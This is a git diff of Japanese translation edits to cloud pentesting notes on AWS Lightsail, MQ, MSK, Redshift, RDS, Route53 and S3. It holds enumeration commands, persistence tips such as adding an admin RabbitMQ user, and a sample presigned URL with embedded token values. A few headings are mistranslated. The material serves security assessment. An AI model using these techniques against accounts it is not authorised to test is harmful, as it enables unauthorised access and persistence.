Lightsailは、新しいクラウドユーザーがAWSのクラウドコンピューティングサービスを利用するための**簡単**で軽量な方法を提供します。これにより、**VM**(**EC2**)や**コンテナ**を介して、一般的およびカスタムのウェブサービスを数秒でデプロイできます。\ これは**最小限のEC2 + Route53 + ECS**です。 ### Enumeration @@ -30,13 +30,13 @@ aws lightsail get-key-pairs ``` ### スナップショットの分析 -**Lightsailからインスタンスおよびリレーショナルデータベースのスナップショットを生成することが可能です**。したがって、[**EC2スナップショット**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs)や[**RDSスナップショット**](aws-relational-database-rds-enum.md#enumeration)と同じ方法でそれらを確認できます。 +**Lightsailからインスタンスおよびリレーショナルデータベースのスナップショットを生成することが可能です**。したがって、[**EC2スナップショット**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs)や[**RDSスナップショット**](aws-relational-database-rds-enum.md#enumeration)を確認するのと同じ方法でそれらを確認できます。 ### メタデータ -**メタデータエンドポイントはLightsailからアクセス可能ですが**、マシンは**AWSによって管理されているAWSアカウントで実行されているため、**どの権限が付与されているかを制御することはできません**。ただし、それらを悪用する方法を見つけた場合、あなたは直接AWSを悪用することになります。 +**メタデータエンドポイントはLightsailからアクセス可能ですが**、マシンは**AWSによって管理されているAWSアカウントで実行されているため**、**どの権限が付与されているかを制御することはできません**。ただし、それらを悪用する方法を見つけた場合、あなたは直接AWSを悪用することになります。 -### 権限昇格 +### 特権昇格 {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 82f34cc44..24ce0daef 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -14,7 +14,7 @@ RabbitMQは、著名な**メッセージキューイングソフトウェア** ### AWS - ActiveMQ -Apache ActiveMQ®は、その多様性で知られるリーディングオープンソースのJavaベースの**メッセージブローカー**です。複数の業界標準プロトコルをサポートし、さまざまな言語やプラットフォームにわたる広範なクライアント互換性を提供します。ユーザーは以下を行うことができます: +Apache ActiveMQ®は、その多様性で知られる主要なオープンソースのJavaベースの**メッセージブローカー**です。複数の業界標準プロトコルをサポートし、さまざまな言語やプラットフォームにわたる広範なクライアント互換性を提供します。ユーザーは以下を行うことができます: - JavaScript、C、C++、Python、.Netなどで書かれたクライアントと接続する。 - **AMQP**プロトコルを活用して異なるプラットフォームのアプリケーションを統合する。 @@ -48,7 +48,7 @@ aws mq list-configurations aws mq create-user --broker-id --password --username --console-access ``` > [!WARNING] -> TODO: RabbitMQとActiveMQを内部で列挙する方法、すべてのキューを監視しデータを送信する方法を示してください(方法がわかる場合はPRを送信してください) +> TODO: RabbitMQとActiveMQを内部で列挙する方法、すべてのキューをリッスンしデータを送信する方法を示してください(これを行う方法を知っている場合はPRを送信してください) ## Privesc @@ -64,7 +64,7 @@ aws mq create-user --broker-id --password --username --c ## Persistence -RabbitMQウェブコンソールにアクセスするための資格情報がわかっていれば、管理者権限を持つ新しいユーザーを作成できます。 +RabbitMQのウェブコンソールにアクセスするための資格情報を知っている場合、新しい管理者権限を持つユーザーを作成できます。 ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index da1f30708..9baae678f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,9 +4,9 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** は、**Apache Kafka** を通じてストリーミングデータを処理するアプリケーションの開発と実行を容易にする完全管理型サービスです。**クラスター**の作成、更新、削除を含む制御プレーン操作は、Amazon MSK によって提供されます。このサービスは、データの生成と消費を含む Apache Kafka の **データプレーン操作** の利用を許可します。これは、既存のアプリケーション、ツール、およびパートナーや **Apache Kafka コミュニティ** からのプラグインとの互換性を確保するために、**Apache Kafka** のオープンソースバージョンで動作し、アプリケーションコードの変更を必要としません。 +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** は、**Apache Kafka** を通じてストリーミングデータを処理するアプリケーションの開発と実行を容易にする完全管理型サービスです。**クラスター**の作成、更新、削除を含むコントロールプレーン操作は、Amazon MSK によって提供されます。このサービスは、データの生成と消費を含む Apache Kafka の **データプレーン操作** の利用を許可します。これは、既存のアプリケーション、ツール、およびパートナーや **Apache Kafka コミュニティ** からのプラグインとの互換性を確保するために、**Apache Kafka** のオープンソースバージョンで動作し、アプリケーションコードの変更を必要としません。 -信頼性の観点から、Amazon MSK は一般的なクラスター障害シナリオを**自動的に検出し回復する**ように設計されており、プロデューサーおよびコンシューマーアプリケーションが最小限の中断でデータの書き込みと読み取りを継続できるようにします。さらに、**置き換えられたブローカーのストレージを再利用しようとすることで、データ複製プロセスを最適化**することを目指しています。これにより、Apache Kafka によって複製する必要のあるデータの量が最小限に抑えられます。 +信頼性の観点から、Amazon MSK は一般的なクラスター障害シナリオを**自動的に検出し回復する**ように設計されており、プロデューサーおよびコンシューマーアプリケーションが最小限の中断でデータの書き込みと読み取りを継続できるようにします。さらに、**置き換えられたブローカーのストレージを再利用しようとする**ことでデータ複製プロセスを最適化し、Apache Kafka によって複製する必要のあるデータ量を最小限に抑えることを目指しています。 ### **Types** @@ -14,9 +14,9 @@ AWS が作成を許可する Kafka クラスターには、プロビジョンド 攻撃者の観点から知っておくべきことは次のとおりです: -- **サーバーレスは直接公開できません**(公開されている IP なしで VPN 内でのみ実行できます)。ただし、**プロビジョンド** は **パブリック IP** を取得するように構成でき(デフォルトではそうではありません)、関連するポートを**公開する**ために **セキュリティグループ** を構成できます。 -- **サーバーレス** は認証方法として **IAM のみをサポート**します。**プロビジョンド** は SASL/SCRAM(**パスワード**)認証、**IAM** 認証、AWS **Certificate** Manager (ACM) 認証、および **未認証** アクセスをサポートします。 -- 未認証アクセスが有効になっている場合、プロビジョンド Kafka を公開することはできないことに注意してください。 +- **サーバーレスは直接公開できません**(公開されている IP なしで VPN 内でのみ実行できます)。ただし、**プロビジョンド**は **パブリック IP** を取得するように構成でき(デフォルトではできません)、関連するポートを**公開する**ために **セキュリティグループ** を構成できます。 +- **サーバーレス** は認証方法として **IAM のみをサポート** します。**プロビジョンド** は SASL/SCRAM (**パスワード**) 認証、**IAM** 認証、AWS **Certificate** Manager (ACM) 認証、および **未認証** アクセスをサポートします。 +- 未認証アクセスが有効な場合、プロビジョンド Kafka を公開することはできないことに注意してください。 ### Enumeration ```bash @@ -72,23 +72,23 @@ kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.conf # Read messages kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning ``` -### Privesc +### プライバシー昇格 {{#ref}} ../aws-privilege-escalation/aws-msk-privesc.md {{#endref}} -### Unauthenticated Access +### 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md {{#endref}} -### Persistence +### 永続性 -もし**Provisioned Kafka**がある**VPCにアクセスできる**場合、**SASL/SCRAM認証**を使用して**秘密からパスワードを読み取り**、**他の制御されたユーザーにIAM権限を付与**することで、**不正アクセスを有効にする**ことができます(IAMまたはサーバーレスを使用している場合)または**証明書**を使用して持続させることができます。 +**Provisioned Kafka**がある**VPCにアクセスできる**場合、**SASL/SCRAM認証**を使用して**不正アクセスを有効にする**ことができ、秘密から**パスワードを読み取り**、**他の制御されたユーザーにIAM権限を付与**することができます(IAMまたはサーバーレスを使用している場合)または**証明書**を使用して永続化することができます。 -## References +## 参考文献 - [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index ecfa3ac50..e83b959ed 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -4,16 +4,16 @@ ## 基本情報 -AWS Organizationsは、追加コストをかけずに新しいAWSアカウントを作成することを容易にします。リソースは簡単に割り当てることができ、アカウントは効率的にグループ化され、ガバナンスポリシーは個々のアカウントまたはグループに適用され、組織内の管理と制御が強化されます。 +AWS Organizationsは、追加費用をかけずに新しいAWSアカウントを作成することを容易にします。リソースは簡単に割り当てることができ、アカウントは効率的にグループ化され、ガバナンスポリシーは個々のアカウントまたはグループに適用でき、組織内の管理と制御が強化されます。 -重要なポイント: +主なポイント: - **新しいアカウントの作成**: AWS Organizationsは、追加料金なしで新しいAWSアカウントを作成することを可能にします。 - **リソースの割り当て**: アカウント間でリソースを割り当てるプロセスを簡素化します。 - **アカウントのグループ化**: アカウントをまとめて管理をより効率的にします。 - **ガバナンスポリシー**: アカウントまたはアカウントのグループにポリシーを適用し、組織全体のコンプライアンスとガバナンスを確保します。 -詳細情報は以下で確認できます: +詳細情報は以下で確認できます: {{#ref}} ../aws-basic-information/ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index d0ef6bad7..04b622a81 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -1,4 +1,4 @@ -# AWS - Other Services Enum +# AWS - その他のサービスの列挙 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index c9750f661..647ae3012 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -6,7 +6,7 @@ Redshiftは、**ビッグデータソリューションのためのデータウェアハウス**として使用される、ペタバイト以上のサイズにスケールアップできる完全管理型サービスです。Redshiftクラスターを使用すると、高速なSQLベースのクエリツールやビジネスインテリジェンスアプリケーションを使用してデータセットに対して分析を実行し、ビジネスのビジョンをより深く理解することができます。 -**Redshiftは、KMSまたはCloudHSMを使用して、最上位のキーを管理する4層の暗号化キーの階層を使用して、静止時の暗号化を提供します**。**クラスターの暗号化が有効になっている場合、それを無効にすることはできず、その逆も同様です**。暗号化されていないクラスターは、暗号化することができません。 +**Redshiftは、KMSまたはCloudHSMを使用して最上位のキーを管理する4層の暗号化キーの階層を使用して、静止時の暗号化を提供します**。**クラスターの暗号化が有効になっている場合、それを無効にすることはできず、その逆も同様です**。暗号化されていないクラスターは、暗号化することができません。 クラスターの暗号化は、その作成中にのみ行うことができ、一度暗号化されると、データ、メタデータ、およびスナップショットも暗号化されます。暗号化キーの階層レベルは次のとおりです。**層1はマスターキー、層2はクラスター暗号化キー(CEK)、層3はデータベース暗号化キー(DEK)、最後に層4はデータ暗号化キー自体です**。 @@ -20,7 +20,7 @@ RedshiftのデフォルトKMSキーは、キーオプションが初めて選択 RedshiftはKMSにCEK(層2)の復号を要求します。この復号されたCEKもメモリに保存されます。Redshiftはランダムなデータベース暗号化キー(DEK、層3)を作成し、それをクラスターのメモリにロードします。メモリ内の復号されたCEKはDEKを暗号化し、これもメモリに保存されます。 -この暗号化されたDEKは、安全なチャネルを介して送信され、Redshiftにクラスターとは別に保存されます。CEKとDEKは、暗号化された形式と復号された形式の両方で、クラスターのメモリに保存されています。復号されたDEKは、Redshiftによってデータベース内の各データブロックのためにランダムに生成されたデータキー(層4)を暗号化するために使用されます。 +この暗号化されたDEKは、安全なチャネルを介して送信され、Redshiftにクラスターとは別に保存されます。CEKとDEKは、現在、クラスターのメモリに暗号化された形式と復号された形式の両方で保存されています。復号されたDEKは、Redshiftによってデータベース内の各データブロックのためにランダムに生成されたデータキー(層4)を暗号化するために使用されます。 AWS Trusted Advisorを使用して、Amazon S3バケットの構成を監視し、バケットロギングが有効になっていることを確認できます。これは、セキュリティ監査を実施し、S3の使用パターンを追跡するのに役立ちます。 @@ -30,11 +30,11 @@ AWS Trusted Advisorを使用して、Amazon S3バケットの構成を監視し CloudHSMを使用したRedshift -CloudHSMを使用して暗号化を行う場合、まずHSMクライアントとRedshiftの間に信頼できる接続を設定する必要があります。この接続は、HSMクライアントとRedshiftクラスター間で暗号化キーを送信するための安全な通信を提供するために必要です。ランダムに生成されたプライベートおよびパブリックキーのペアを使用して、Redshiftは公開クライアント証明書を作成し、これを暗号化してRedshiftに保存します。これをダウンロードしてHSMクライアントに登録し、正しいHSMパーティションに割り当てる必要があります。 +CloudHSMを使用して暗号化を実行する場合、まずHSMクライアントとRedshiftの間に信頼できる接続を設定する必要があります。この接続は、安全な通信を提供し、暗号化キーをHSMクライアントとRedshiftクラスターの間で送信できるようにするために必要です。ランダムに生成されたプライベートおよびパブリックキーのペアを使用して、Redshiftは公開クライアント証明書を作成し、これを暗号化してRedshiftに保存します。これをダウンロードしてHSMクライアントに登録し、正しいHSMパーティションに割り当てる必要があります。 -次に、HSMクライアントの次の詳細を使用してRedshiftを構成する必要があります:HSMのIPアドレス、HSMパーティション名、HSMパーティションパスワード、およびCloudHSMによって内部マスターキーを使用して暗号化された公開HSMサーバー証明書。この情報が提供されると、Redshiftは接続して開発パーティションにアクセスできることを確認し、検証します。 +次に、HSMクライアントの次の詳細でRedshiftを構成する必要があります:HSMのIPアドレス、HSMパーティション名、HSMパーティションパスワード、およびCloudHSMによって内部マスターキーを使用して暗号化された公開HSMサーバー証明書。この情報が提供されると、Redshiftは接続して開発パーティションにアクセスできることを確認し、検証します。 -内部のセキュリティポリシーやガバナンスコントロールがキーのローテーションを適用する必要があると規定している場合、Redshiftを使用して暗号化されたクラスターの暗号化キーをローテーションすることが可能ですが、キーのローテーションプロセス中はクラスターが非常に短い時間利用できなくなることに注意する必要があります。そのため、必要なときや、キーが侵害された可能性があると感じたときにのみキーをローテーションするのが最善です。 +内部のセキュリティポリシーやガバナンスコントロールがキーのローテーションを適用する必要があると規定している場合、Redshiftを使用して暗号化されたクラスターの暗号化キーをローテーションすることが可能ですが、キーのローテーションプロセス中にクラスターが非常に短い時間利用できなくなることに注意する必要があります。そのため、必要なときにのみキーをローテーションするか、キーが侵害された可能性があると感じた場合にローテーションするのが最善です。 ローテーション中、RedshiftはクラスターのCEKとそのバックアップのCEKをローテーションします。クラスターのDEKはローテーションされますが、DEKを使用して暗号化されたS3に保存されたスナップショットのDEKをローテーションすることはできません。プロセスが完了するまで、クラスターは「キーをローテーション中」の状態になり、その後ステータスは「利用可能」に戻ります。 @@ -79,13 +79,13 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` -## Privesc +## プライベスカ {{#ref}} ../aws-privilege-escalation/aws-redshift-privesc.md {{#endref}} -## Persistence +## 永続性 次のアクションにより、クラスタへの他のAWSアカウントへのアクセスを付与できます: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 5d0aeb22a..d8e3283f9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -4,27 +4,27 @@ ## 基本情報 -AWSが提供する**リレーショナルデータベースサービス(RDS)**は、**クラウド内のリレーショナルデータベースの展開、運用、スケーリングを簡素化する**ことを目的としています。このサービスは、コスト効率とスケーラビリティの利点を提供し、ハードウェアのプロビジョニング、データベースの構成、パッチ適用、バックアップなどの労働集約的なタスクを自動化します。 +AWSが提供する**リレーショナルデータベースサービス (RDS)**は、**クラウド内のリレーショナルデータベースの展開、運用、スケーリング**を簡素化するように設計されています。このサービスは、コスト効率とスケーラビリティの利点を提供し、ハードウェアのプロビジョニング、データベースの構成、パッチ適用、バックアップなどの労働集約的なタスクを自動化します。 AWS RDSは、MySQL、PostgreSQL、MariaDB、Oracle Database、Microsoft SQL Server、Amazon Auroraなど、広く使用されているさまざまなリレーショナルデータベースエンジンをサポートしており、MySQLとPostgreSQLの両方に互換性があります。 -RDSの主な機能は以下の通りです: +RDSの主な機能には以下が含まれます: - **データベースインスタンスの管理**が簡素化されています。 -- 読み取り性能を向上させるための**リードレプリカ**の作成。 -- 高可用性とフェイルオーバー機構を確保するための**マルチアベイラビリティゾーン(AZ)デプロイメント**の構成。 +- 読み取りパフォーマンスを向上させるための**リードレプリカ**の作成。 +- 高可用性とフェイルオーバー機構を確保するための**マルチアベイラビリティゾーン (AZ) デプロイメント**の構成。 - 他のAWSサービスとの**統合**、例えば: - - AWSアイデンティティおよびアクセス管理(**IAM**)による堅牢なアクセス制御。 + - AWSアイデンティティおよびアクセス管理 (**IAM**)による堅牢なアクセス制御。 - AWS **CloudWatch**による包括的な監視とメトリクス。 - - AWSキー管理サービス(**KMS**)による静止データの暗号化の確保。 + - AWSキー管理サービス (**KMS**)による静止データの暗号化の確保。 ## 認証情報 -DBクラスターを作成する際、マスター**ユーザー名**は設定可能です(デフォルトは**`admin`**)。このユーザーのパスワードを生成するには、以下の方法があります: +DBクラスターを作成する際、マスター**ユーザー名**は設定可能です(デフォルトは**`admin`**)。このユーザーのパスワードを生成するには、次の方法があります: -- **自分で**パスワードを指定する +- 自分で**パスワード**を指定する - RDSに**自動生成**させる -- RDSに**AWS Secret Manager**でKMSキーで暗号化して管理させる +- RDSに**AWS Secret Manager**でKMSキーで暗号化されたものを管理させる
@@ -38,7 +38,7 @@ DBクラスターを作成する際、マスター**ユーザー名**は設定 デフォルトでは**データベースに対する公開アクセスは付与されていません**が、**付与される可能性があります**。したがって、デフォルトでは、選択した**セキュリティグループ**(EC2 SGに保存されている)が許可している場合にのみ、同じVPC内のマシンがアクセスできます。 -DBインスタンスを公開する代わりに、**RDSプロキシ**を作成することが可能で、これによりDBクラスターの**スケーラビリティ**と**可用性**が向上します。 +DBインスタンスを公開する代わりに、**RDS Proxy**を作成することが可能で、これによりDBクラスターの**スケーラビリティ**と**可用性**が向上します。 さらに、**データベースポートも変更可能**です。 @@ -46,14 +46,14 @@ DBインスタンスを公開する代わりに、**RDSプロキシ**を作成 **暗号化はデフォルトで有効**になっており、AWS管理キーを使用します(代わりにCMKを選択することも可能です)。 -暗号化を有効にすることで、**ストレージ、スナップショット、リードレプリカ、およびバックアップの静止データの暗号化が有効になります**。この暗号化を管理するためのキーは**KMS**を使用して発行できます。\ +暗号化を有効にすることで、**ストレージ、スナップショット、リードレプリカ、およびバックアップの静止データの暗号化**が有効になります。この暗号化を管理するためのキーは**KMS**を使用して発行できます。\ データベースが作成された後にこのレベルの暗号化を追加することはできません。**作成時に行う必要があります**。 -ただし、**暗号化されていないデータベースを暗号化するための回避策があります**。暗号化されていないデータベースのスナップショットを作成し、そのスナップショットの暗号化されたコピーを作成し、その暗号化されたスナップショットを使用して新しいデータベースを作成し、最後にデータベースが暗号化されます。 +ただし、**暗号化されていないデータベースを暗号化するための回避策があります**。暗号化されていないデータベースのスナップショットを作成し、そのスナップショットの暗号化されたコピーを作成し、その暗号化されたスナップショットを使用して新しいデータベースを作成することで、最終的にデータベースが暗号化されます。 -#### 透過的データ暗号化(TDE) +#### 透過的データ暗号化 (TDE) -RDSに内在する暗号化機能に加えて、RDSは静止データを保護するための**追加のプラットフォームレベルの暗号化メカニズム**もサポートしています。これには、OracleおよびSQL Server用の**透過的データ暗号化(TDE)**が含まれます。ただし、TDEは静止データを暗号化することでセキュリティを強化しますが、**データベースのパフォーマンスに影響を与える可能性がある**ことに注意が必要です。このパフォーマンスへの影響は、MySQLの暗号化関数やMicrosoft Transact-SQLの暗号化関数と併用した場合に特に顕著です。 +RDSに内在する暗号化機能に加えて、RDSは静止データを保護するための**追加のプラットフォームレベルの暗号化メカニズム**もサポートしています。これには、OracleおよびSQL Server用の**透過的データ暗号化 (TDE)**が含まれます。ただし、TDEは静止データを暗号化することでセキュリティを強化しますが、**データベースのパフォーマンスに影響を与える可能性がある**ことに注意が必要です。このパフォーマンスへの影響は、MySQLの暗号化関数やMicrosoft Transact-SQLの暗号化関数と併用した場合に特に顕著です。 TDEを利用するには、いくつかの前提条件が必要です: @@ -66,7 +66,7 @@ TDEを利用するには、いくつかの前提条件が必要です: 3. **TDE暗号化モード**: - TDEは2つの異なる暗号化モードを提供します: - **TDEテーブルスペース暗号化**:このモードは、全体のテーブルを暗号化し、より広範なデータ保護を提供します。 - - **TDEカラム暗号化**:このモードは、データベース内の特定の個別要素を暗号化することに焦点を当て、どのデータが暗号化されるかをより細かく制御できます。 + - **TDEカラム暗号化**:このモードは、データベース内の特定の個別要素を暗号化することに焦点を当て、暗号化されるデータに対するより細かな制御を可能にします。 これらの前提条件とTDEの運用の複雑さを理解することは、RDS内での暗号化の効果的な実装と管理において重要であり、データのセキュリティと必要な基準への準拠を確保します。 @@ -111,7 +111,7 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md {{#endref}} -### 権限昇格 +### 特権昇格 {{#ref}} ../aws-privilege-escalation/aws-rds-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index c0beb3700..9ff3e4afd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,7 +4,7 @@ ## Route 53 -Amazon Route 53は、クラウド**ドメインネームシステム(DNS)**ウェブサービスです。\ +Amazon Route 53は、クラウドの**ドメインネームシステム(DNS)**ウェブサービスです。\ Route53を介して、https、http、およびtcpの**ウェブページ用のヘルスチェック**を作成できます。 ### IPベースのルーティング @@ -20,7 +20,7 @@ aws route53 list-resource-record-sets --hosted-zone-id # Get al aws route53 list-health-checks aws route53 list-traffic-policies ``` -### プライベートエスカレーション +### プライベートアクセス {{#ref}} ../aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index fe24c91e5..1edad329c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -4,17 +4,17 @@ ## S3 -Amazon S3は、**大量のデータを保存する**ことを可能にするサービスです。 +Amazon S3は、大量のデータを**保存する**ことを可能にするサービスです。 -Amazon S3は、データの**保護**を実現するための複数のオプションを提供します。オプションには、**権限**(ポリシー)、**暗号化**(クライアントおよびサーバーサイド)、**バケットバージョニング**、および**MFA** **ベースの削除**が含まれます。**ユーザーはこれらのオプションのいずれかを有効にしてデータ保護を実現できます**。**データレプリケーション**は、AWSによる内部機能であり、**S3は自動的に各オブジェクトをすべてのアベイラビリティゾーンにレプリケートします**。この場合、組織はそれを有効にする必要はありません。 +Amazon S3は、データの静止状態での**保護**を実現するための複数のオプションを提供します。オプションには、**権限**(ポリシー)、**暗号化**(クライアントおよびサーバーサイド)、**バケットバージョニング**、および**MFA** **ベースの削除**が含まれます。**ユーザーはこれらのオプションのいずれかを有効にしてデータ保護を実現できます**。**データレプリケーション**は、AWSによる内部機能であり、**S3は自動的に各オブジェクトをすべてのアベイラビリティゾーンにレプリケートします**。この場合、組織はそれを有効にする必要はありません。 リソースベースの権限を使用すると、バケットのサブディレクトリに対して個別に権限を定義できます。 ### バケットバージョニングとMFAベースの削除 -バケットバージョニングが有効になっている場合、ファイル内のファイルを変更しようとするアクションは、新しいバージョンのファイルを生成し、同時に以前の内容も保持します。したがって、内容が上書きされることはありません。 +バケットバージョニングが有効になっている場合、ファイル内のファイルを変更しようとするアクションは、新しいバージョンのファイルを生成し、同時に以前のコンテンツも保持します。したがって、コンテンツが上書きされることはありません。 -さらに、MFAベースの削除は、S3バケット内のファイルのバージョンが削除されるのを防ぎ、バケットバージョニングが無効になるのを防ぐため、攻撃者はこれらのファイルを変更することができません。 +さらに、MFAベースの削除は、S3バケット内のファイルのバージョンが削除されるのを防ぎ、バケットバージョニングが無効にされるのを防ぐため、攻撃者はこれらのファイルを変更することができません。 ### S3アクセスログ @@ -22,18 +22,18 @@ S3アクセスログを**有効にする**(デフォルトでは無効)こ ### S3プレサインドURL -バケット内の**指定されたファイルにアクセスするために通常使用できるプレサインドURLを生成する**ことができます。**プレサインドURLはこのようになります**: +バケット内の**指定されたファイルにアクセスするために通常使用できるプレサインドURLを生成する**ことが可能です。**プレサインドURLはこのようになります**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` -A presigned URL can be **作成できます cli を使用して、オブジェクトへのアクセス権を持つプリンシパルの資格情報から**(使用しているアカウントにアクセス権がない場合、短い presigned URL が作成されますが、それは無意味です) +プリサインされたURLは、**オブジェクトへのアクセス権を持つプリンシパルの資格情報を使用してCLIから作成できます**(使用しているアカウントにアクセス権がない場合、短いプリサインされたURLが作成されますが、それは無意味です) ```bash aws s3 presign --region 's3:///' ``` > [!NOTE] -> 事前署名付きURLを生成するために必要な権限は、与えられる権限だけです。したがって、前のコマンドでは、主体が必要とする唯一の権限は `s3:GetObject` です。 +> 事前署名付きURLを生成するために必要な権限は、与えられる権限のみであるため、前のコマンドでは、主体が必要とする唯一の権限は `s3:GetObject` です。 -**他の権限**を使用して事前署名付きURLを作成することも可能です: +**他の権限**を持つ事前署名付きURLを作成することも可能です: ```python import boto3 url = boto3.client('s3').generate_presigned_url( @@ -44,7 +44,7 @@ ExpiresIn=3600 ``` ### S3暗号化メカニズム -**DEKはデータ暗号化キーを意味し**、データを暗号化するために常に生成され使用されるキーです。 +**DEKはデータ暗号化キーを意味し**、常に生成され、データを暗号化するために使用されるキーです。
@@ -59,7 +59,7 @@ ExpiresIn=3600 - 暗号化DEK + S3マスターキー --> 平文DEK - 平文DEK + 暗号化データ --> オブジェクトデータ -この場合、**キーはAWSによって管理されている**ことに注意してください(ローテーションは3年ごと)。独自のキーを使用する場合は、ローテーション、無効化、およびアクセス制御を適用できます。 +この場合、**キーはAWSによって管理されている**ことに注意してください(ローテーションは3年ごと)。独自のキーを使用する場合、ローテーション、無効化、およびアクセス制御を適用できます。
